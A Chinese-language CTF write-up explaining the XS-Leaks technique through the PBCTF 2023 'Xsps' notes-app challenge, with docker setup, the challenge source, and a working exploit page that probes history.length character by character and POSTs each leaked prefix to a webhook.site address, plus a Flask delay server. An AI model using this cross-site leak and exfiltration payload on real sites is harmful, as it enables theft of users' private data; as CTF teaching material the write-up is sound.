April 19, 2023

年轻人的第一把Xsleaks

参考:
https://exp10it.cn/2023/02/pbctf-2023-xsps-writeup/#xsps
image.png

Xsleaks漏洞成因

Xsleaks攻击首先是基于Xss攻击的(Csrf同理);当我们可以控制bot的行为时,再处于某种特定的条件时,我们就可以使用xsleaks攻击将flag Leaks出来,原理很简单,比如我定义一个查询功能,你只需要输入一个参数q,随后我再定义一个flag,如flag{test_flag}
这时候假如有一个功能点,可以判断我们输入的q和flag的值开头是否一致,也就是flag.startwith(q),假如为真就会进行跳转,假如为否就不跳转
这时候我们就有了一个二元关系差,而这一点就可以用来作为leaks的条件,大致原理如下
image.png
那么这时候就得再介绍一个东西了,windows.history.length

History.length 是一个只读属性,返回当前 session 中的 history 个数,包含当前页面在内。举个例子,对于新开一个 tab 加载的页面当前属性返回值 1。

这一属性是用来判断当前页面加载了多少子页面,也就是通过这一个页面windows.location跳转弹窗了几个子页面,如上述例子,假如成功了的话,跳转顺序为http://target.com->http://target.com?q=flag{->http://success,这样的话length为3,失败的话length为2,因此我们获取了一个二元关系差,也就是一个leaks条件,这一点和SQL盲注类似

PBCTF2023 Xsps

考点:Xsleaks
这一题就是经典的Xsleaks了,我直接放出重要的源码

坑点

大家放到vps的docker里去搭建,这里给出我的docker配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
version: '3.7'

services:
app:
build: ./app/
ports:
- "127.0.0.1:80:5000"
environment:
- PORT=5000
- WEB_CONCURRENCY=16
- CHALL_HOST=localhost
- SECRET_KEY=NOTREALSECRET
depends_on:
- redis

bot:
build: ./bot/
init: true
environment:
- CHALL_HOST=localhost
- CHALL_COOKIE=eyJub3RlcyI6eyJmbGFnIjoicGJjdGZ7eW91X3NvbHZlXzF0X2dvMGQhfSJ9fQ.ZD6YHg.19wA-HSKvMq1bIyII8Fpze147Ys
depends_on:
- redis

redis:
image: redis:6.0-alpine


bot的dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
FROM node:19

COPY key.pub /tmp/
RUN apt-get update \
&& apt-get install -y wget gnupg \
&& apt-key add /tmp/key.pub \
&& sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \
&& apt-get update \
&& apt-get install -y libxss1 google-chrome-stable \
--no-install-recommends \
&& rm -rf /var/lib/apt/lists/*

RUN mkdir /bot/
COPY bot.js /bot/

WORKDIR /bot/

RUN npm i puppeteer
RUN npm i redis

RUN chown -R root:node /bot/

USER node

CMD ["node", "bot.js"]

bot这个dockerfile注意了。自己去[https://dl-ssl.google.com/linux/linux_signing_key.pub](https://dl-ssl.google.com/linux/linux_signing_key.pub)把这个公钥下载,放到dockerfile同目录处,否则就等着报错吧。
客户端的dockerfile

1
2
3
4
5
6
7
FROM python:3.8.16-slim-bullseye
RUN pip install redis
COPY ./requirements.txt /app/
RUN pip install -r /app/requirements.txt
COPY ./app.py /app/main.py
COPY static /app/static/
CMD ["python","/app/main.py"]

源码

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from flask import Flask, request, session, jsonify, Response, make_response, g
import json
import redis
import random
import os
import binascii
import time

app = Flask(__name__)
app.secret_key = os.environ.get("SECRET_KEY", "tops3cr3t")

app.config.update(
SESSION_COOKIE_SECURE=False,
SESSION_COOKIE_HTTPONLY=True,
# SESSION_COOKIE_SAMESITE='Lax',
)

HOST = os.environ.get("CHALL_HOST", "localhost:5000")

r = redis.Redis(host='redis')

@app.route("/do_report", methods=['POST'])
def do_report():
cur_time = time.time()
ip = request.headers.get('X-Forwarded-For').split(",")[-2].strip() #amazing google load balancer

last_time = r.get('time.'+ip)
last_time = float(last_time) if last_time is not None else 0

time_diff = cur_time - last_time

if time_diff > 6:
r.rpush('submissions', request.form['url'])
r.setex('time.'+ip, 60, cur_time)
return "submitted"

return "rate limited"

@app.route("/report", methods=['GET'])
def report():
return """
<head>
<title>Notes app</title>
</head>
<body>
<h3><a href="/note">Get Note</a>&nbsp;&nbsp;&nbsp;<a href="/">Change Note</a>&nbsp;&nbsp;&nbsp;<a href="/report">Report Link</a></h3>
<hr>
<h3>Please report suspicious URLs to admin</h3>
<form action="/do_report" id="reportform" method=POST>
URL: <input type="text" name="url" placeholder="URL">
<br>
<input type="submit" value="submit">
</form>
<br>
</body>
"""

@app.before_request
def rand_nonce():
g.nonce = binascii.b2a_hex(os.urandom(15)).decode()

@app.after_request
def add_CSP(response):
response.headers['Content-Security-Policy'] = f"default-src 'self'; script-src 'nonce-{g.nonce}'"
return response


@app.route('/add_note', methods=['POST'])
def add():
if 'notes' not in session:
session['notes'] = {}
session['notes'][request.form['name']] = request.form['data']
if 'highlight_note' in request.form and request.form['highlight_note'] == "YES":
session['highlighted_note'] = request.form['name']

session.modified = True
return "Changed succesfully"


@app.route('/notes')
def notes():
if 'notes' not in session:
print("no")
return []
print("yes")
return [X for X in session['notes']]

@app.route("/highlighted_note")
def highlighted_note():
if 'highlighted_note' not in session:
return {'name':False}
return session['highlighted_note']

@app.route('/note/<path:name>')
def get_note(name):
if 'notes' not in session:
return ""
if name not in session['notes']:
return ""
return session['notes'][name]

@app.route('/static/<path:filename>')
def static_file(filename):
return send_from_directory('static', filename)

@app.route('/')
def index():
return f"""
<head>
<title>Notes app</title>
</head>
<body>
<script nonce='{g.nonce}' src="/static/js/main.js"></script>

<h3><a href="/report">Report Link</a></h3>
<hr>
<h3> Highlighted Note </h3>
<div id="highlighted"></div>
<hr>
<h3> Add a note </h3>
<form action="/add_note" id="noteform" method=POST>
<input type=text name="name" placeholder="Note's name">
<br>
<br>
<textarea rows="10" cols="100" name="data" form="noteform" placeholder="Note's content"></textarea>
<br>
<br>
<input type="checkbox" name="highlight_note" value="YES">
<label for="vehicle1">Highlight Note</label><br>
<br>
<input type="submit" value="submit">
</form>
<hr>
<h3>Search Note</h3>
<a id=search_result></a>
<input id='search_content' type=text name="name" placeholder="Content to search">
<input id='search_open' type="checkbox" name="open_after" value="YES">
<label for="open">Open</label><br>
<br>
<input id='search_button' type="submit" value="submit">

</body>
"""
if __name__=='__main__':
app.run(
debug=False,
host="0.0.0.0"
)

bot.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
const redis = require('redis');
const r = redis.createClient({
socket: {
port : 6379, // replace with your port
host : 'redis', // replace with your hostanme or IP address
}})

const puppeteer = require('puppeteer');

async function browse(url){
console.log(process.env.CHALL_COOKIE);
console.log(`Browsing -> ${url}`);
const browser = await (await puppeteer.launch({
headless: true,
args: ['--no-sandbox', '--disable-gpu'],
executablePath: "/usr/bin/google-chrome"
})).createIncognitoBrowserContext();

const page = await browser.newPage();
await page.setCookie({
name: 'session',
value: process.env.CHALL_COOKIE,
domain: process.env.CHALL_HOST
});

try {
const resp = await page.goto(url, {
waitUntil: 'load',
timeout: 20 * 1000,
});
} catch (err){
console.log(err);
}

await page.close();
await browser.close();

console.log(`Done visiting -> ${url}`)

}

function sleep(ms) {
return new Promise((resolve) => {
setTimeout(resolve, ms);
});
}

async function main() {
try {
const submit_url = await r.blPop(
redis.commandOptions({ isolated: true }),
"submissions",
0
);
let url = submit_url.element;
await browse(url);
} catch (e) {
console.log("error");
console.log(e);
}
main();
}

async function conn(){
await r.connect();
}

console.log("XSS Bot ready");
conn();
main()

staic/main.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
window.onload = async function(){
//init
document.body.highlighted_note = await get_higlighted_note();
document.body.search_result = document.getElementById('search_result');
document.body.search_content = document.getElementById('search_content')
document.body.search_open = document.getElementById('search_open')

//highlight note
document.getElementById('highlighted').innerHTML = document.body.highlighted_note;

//search handler
document.getElementById('search_button').onclick = search_click;
}

async function search_click(){
search_name({'query':document.body.search_content.value, 'open' : document.body.search_open.checked})
}

window.addEventListener('hashchange', async function(){
let search_query = JSON.parse(atob(location.hash.substring(1)));
search_name(search_query);
});

async function search_name(search_data){
let should_open = search_data['open']
let query = search_data['query']

let notes = await get_all_notes();

let found_note = notes.find((val) => val.note.toString().startsWith(query));
if(found_note == undefined){
document.body.search_result.href = '';
document.body.search_result.text = 'NOT FOUND'
document.body.search_result.innerHTML += '<br>'
}

document.body.search_result.href = `note/${found_note.name}`;
document.body.search_result.text = 'FOUND'
document.body.search_result.innerHTML += '<br>'
if(should_open)document.body.search_result.click();
}

async function get_all_notes(){
return await Promise.all((await (await fetch('/notes')).json()).map(async (name) => ({'name':name, 'note': (await get_note(name))})))
}

async function get_higlighted_note(){
return get_note((await (await fetch('/highlighted_note')).text()));
}

async function get_note(name){
return (await (await fetch(`/note/${name}`)).text());
}

功能点解析

首先是对于app.py,这个是客户端的主要逻辑,一共有几个功能,添加、删除、修改、获取、查找notes,主要需要注意的就是notes()函数,他会获取我们Cookie里的notes属性,然后note/path:name这个函数对应的就是查找note了,假如符合的话就会返回内容
其次是bot.js,对于bot的行为没什么特殊的,他就是会访问我们的界面而已,有一些坑点需要注意,就比如那个req.ip是获取XFF头的,假如你不加就500了,所以在XFF头随便填一个1,2,3让他不报错就好了,其次就是管理员是带了个Cookie的,比赛附件给的cookie是错的,会导致你本地无法复现成功,因此我自己准备了一个
- CHALL_COOKIE=eyJub3RlcyI6eyJmbGFnIjoicGJjdGZ7eW91X3NvbHZlXzF0X2dvMGQhfSJ9fQ.ZD6YHg.19wA-HSKvMq1bIyII8Fpze147Ys
解码后的内容为{"notes":{"flag":"pbctf{you_solve_1t_go0d!}"}}
最后就是主要的main.js了,有一段需要注意

1
2
3
4
5
6
7
8
9
10
11
12
let found_note = notes.find((val) => val.note.toString().startsWith(query));
if(found_note == undefined){
document.body.search_result.href = '';
document.body.search_result.text = 'NOT FOUND'
document.body.search_result.innerHTML += '<br>'
}

document.body.search_result.href = `note/${found_note.name}`;
document.body.search_result.text = 'FOUND'
document.body.search_result.innerHTML += '<br>'
if(should_open)document.body.search_result.click();
}

这一段明显做了模糊查询的处理,假如开头和notes的内容一致,就会进行跳转,这就是一开始说的二元关系差,有了这一点我们就可以盲注了,其次main.js会获取我们cookies里面的notes:

1
2
3
async function get_all_notes(){
return await Promise.all((await (await fetch('/notes')).json()).map(async (name) => ({'name':name, 'note': (await get_note(name))})))
}

这一段就是访问notes路由获取所有的notes,然后有一个部分也有个需要注意的点

1
2
3
4
window.addEventListener('hashchange', async function(){
let search_query = JSON.parse(atob(location.hash.substring(1)));
search_name(search_query);
});

他增加了一个叫hashchange的监听器,他会解码location.hash.substring(1),这个东西是什么呢?我们做一个实验
image.png
他会获取#后面的内容,也就是锚点作用,如果后面的BASE64字段内容解码后符合search的条件,那就会跳转,如下所示
image.png
我新建了一个内容为TEST的notes,然后我在URL加上
image.png
image.png
image.png
然后就会自动跳转到这里,我们就可以利用这一点进行Xsleaks了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<script>
function xsleaks(leak) {
let data = {'query': leak, 'open': true};
let text = btoa(JSON.stringify(data)).replaceAll('=', '');
let w = window.open('http://114.116.119.253/');
//fetch('https://webhook.site/e2fa3c0c-0935-45e5-b5b4-79763ee8a133?process=' + leak.slice(-1).charCodeAt());
// fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?openwindow');
setTimeout(() => {
w.location = 'http://114.116.119.253/#' + text;
//fetch('https://webhook.site/e2fa3c0c-0935-45e5-b5b4-79763ee8a133?C='+text);
setTimeout(() => {
w.location = 'about:blank';
// fetch('https://webhook.site/6362957d-cd07-41da-b692-9f53e6a644fd?aboutblank');
setTimeout(() => {
// fetch('https://webhook.site/e2fa3c0c-0935-45e5-b5b4-79763ee8a133?historylength=' + w.history.length);
console.log(w.history.length);
if (w.history.length == 4) {
fetch('https://webhook.site/e2fa3c0c-0935-45e5-b5b4-79763ee8a133?leak=',{
method: 'POST',
body: leak
}).catch((msg) => {});
}
w.close();
}, 500)
}, 500);
}, 500);
}

let param = new URLSearchParams(location.search);
let start = param.get('start');
async function sleep(ms) {
return new Promise((r) => setTimeout(r, ms));
}
// xsleaks('pbctf');
let sleepTime = 0;
for (let i = 32; i <= 127; i ++) {
let c = String.fromCharCode(i);
setTimeout(xsleaks, sleepTime, 'pbctf{you_solve_1t_go0d!}' + c);
sleepTime +=100;
}
</script>
<img src="http://114.116.119.253:8002/delay">



1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask
import time

app = Flask(__name__)

@app.route('/delay')
def delay():
time.sleep(20)
return "ok"

if __name__ == '__main__':
app.run('0.0.0.0', '8002', debug=False)

这里解释一下这个Flask是怎么回事,他主要起一个延时器的作用,在源码中bot的timeout时限为20s,也就是最多停留在页面20s,那我们就给他delay个20s,在这20s的时间内,让他去leaks,也就是20s后xsleaks就结束,因此flag是不能一步到位的。。

其次的话对于上述payload中timeout时限,经过多次测试,极限是500,500ms的话刚好能在20s内请求127次,爆出一个字段,所以你得自己反复report。直到flag出完

image.png

好用的xsleaks平台

https://webhook.site/
这玩意儿不比国内那个xss平台好用多了。

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#Xsleaks